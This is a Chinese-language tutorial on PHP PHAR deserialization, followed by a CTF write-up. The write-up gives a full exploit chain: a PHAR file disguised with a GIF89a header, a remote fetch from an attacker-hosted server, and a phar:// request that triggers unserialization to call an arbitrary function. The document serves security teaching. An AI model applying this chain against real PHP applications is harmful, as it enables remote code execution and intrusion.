PHP PHAR 反序列化攻击
Table of Contents
PHAR 是种类似 JAR 的文件打包格式,能将多个资源压缩到一个文件包中,便于分发到其他项目里复用。
我们实际打个包来理解 PHAR,目录结构如下:
├── build.php ├── lib │ ├── lib.php │ └── main.php └── test.php
lib/lib.php 内容如下:
<?php function hello(){ echo "hello world\n"; } ?>
lib/main.php 内容如下:
<?php require "lib.php"; hello(); ?>
以上两个文件为库的核心文件,build.php 是为了生成 PHAR 包:
<?php $phar = new Phar('lib.phar', 0, 'lib.phar'); $phar->buildFromDirectory(dirname(__FILE__) . '/lib'); $phar->setDefaultStub('main.php'); ?>
运行 build.php 将产生 lib.phar:
$ php build.php $ ls build.php lib lib.phar test.php
打包的 lib.phar 可以直接执行:
$ php lib.phar hello world
也可以在源码中当作库来引用,比如 test.php 内容如下:
<?php require "phar://lib.phar/lib.php"; hello(); ?>
可见,直接引用 PHAR 包实质上是使用了“phar://”这个伪协议,PHP 为了照顾 PHAR 这个特性,让很多带文件操作的内置函数都支持了 phar:// 伪协议。
与 PHAR 更多翔实的资料请移步参考官方文档:https://www.php.net/manual/zh/book.phar.php。 我们来考虑 PHAR 会带来什么安全问题。
BlackHat 2018 会议上,Sam Thomas 提到在解析 PHAR 时会对定义的 meta-data 进行反序列化操作。
作为示例,将上面的 build.php 修改如下:
<?php class Hi { } $phar = new Phar('lib.phar', 0, 'lib.phar'); $hi = new Hi(); $phar->buildFromDirectory(dirname(__FILE__) . '/lib'); $phar->setMetadata($hi); $phar->setDefaultStub('main.php'); ?>
运行 build.php 后,可以通过如下看到被序列化到 lib.phar 中了:
$ xxd lib.phar ... 00001a00: 0800 0000 6c69 622e 7068 6172 0d00 0000 ....lib.phar.... 00001a10: 4f3a 323a 2248 6922 3a30 3a7b 7d09 0000 O:2:"Hi":0:{}... 00001a20: 0062 7569 6c64 2e70 6870 8400 0000 d35a .build.php.....Z ...
接下来把 test.php 也做下修改:
<?php class Hi { function __destruct() { echo '反序列化了'; } } require "phar://lib.phar/lib.php"; hello();
执行如下,可见到 __destruct 被调用,说明很容易被反序列化:
$ php test.php hello world 反序列化了
1. 一道 CTF 题
有漏洞的源码如下:
<?php if (!file_exists("/var/www/data/secret")) { $SECRET = randomkeys(16); file_put_contents("/var/www/data/secret", $SECRET); } else { $SECRET = file_get_contents("/var/www/data/secret"); } if (isset($_SERVER["HTTP_X_REAL_IP"])) $SERVER_IP = $_SERVER["HTTP_X_REAL_IP"]; else $SERVER_IP = $_SERVER["REMOTE_ADDR"]; $SANDBOX = "/var/www/data/" . base64_encode("ctf" . $SERVER_IP); @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); } class User { public $avatar; function __construct($path) { $this->avatar = $path; } } class Admin extends User { function __destruct() { $_GET["lucky"](); } } function randomkeys($length){ $output=''; for ($a = 0; $a<$length; $a++) { $output .= chr(mt_rand(0, 0xFF)); } return $output; } function getFlag() { echo "flag: 123456"; } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) { die("Bye"); } if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) { die("Bye Bye"); } $data = unserialize($data); if (!isset($data->avatar)) { die("Bye Bye Bye"); } return $data->avatar; } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a") { die("Fuck off"); } file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) { if (!file_exists($path . "/avatar.gif")) { $path = "/var/www/html"; } header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") { upload(check_session()); } else if ($mode == "show") { show(check_session()); } else { highlight_file(__FILE__); }
从源码可知,只有调用了 getFlag 函数才可以得到本题的 flag,而 getFlag 没有在其他任何地方被调用过,但可以使用 Admin 类里的 __destruct 方法来调用 getFlag:
class Admin extends User { function __destruct() { $_GET["lucky"](); } }
利用 PHP 的动态特性,只要传递 URL 参数 lucky=getFlag 就能随意调用;而要使用 Admin 类,就需要反序列化。
这道题的关键在 upload 函数,upload 调用了 file_get_contents,file_get_contents 的参数是通过 $_GET["url"] 传递的,如果指定一个远程路径,file_get_contents 会将文件内容下载回来,而后调用了 file_put_contents 将下载的内容写到了 avatar.gif 中。
如果给 url 参数传递的是一个 PHAR 文件,文件会被写入到 avatar.gif;然后就能再一次给 url 参数传递 phar:// 协议的地址,就能触发反序列化去实例化 Admin 类。
不过 upload 函数对下载的文件判断了格式:
if (substr($data, 0, 6) !== "GIF89a") { die("Fuck off"); }
只允许下载的文件是 GIF 格式,但绕过这个并不困难,因为 PHP 识别 PHAR 头时,只关心有不有:
<?php __HALT_COMPILER(); ?>
对于其他内容都无所谓,因此在生成 PHAR 文件时,可以添加一个 GIF 头:
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
所以最终利用过程如下:
一、生成 PHAR:
$ cat to_phar.php <?php class User { public $avatar; function __construct($path) { $this->avatar = $path; } } class Admin extends User { function __destruct() { } } $phar = new Phar("phar.phar"); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $admin = new Admin("test"); $phar->setMetadata($admin); ?> $ php to_phar.php
二、将生成的 phar.phar 改名为 avatar.gif,并放到一台 HTTP 服务器中保证能远程访问到,我这里放置的 IP 地址为 http://192.168.1.101/avatar.gif
。
三、访问以下地址,让 avatar.gif 上传到 题目服务器中:
http://host/ctf.php?m=upload&url=http://192.168.1.101
四、访问以下 URL 触发反序列化漏洞:
http://host/ctf.php?m=upload&url=phar://[path]&lucky=getFlag
注意:path 对应的路径在 Cookie 中可以找到,访问后就能成功获得题目 Flag。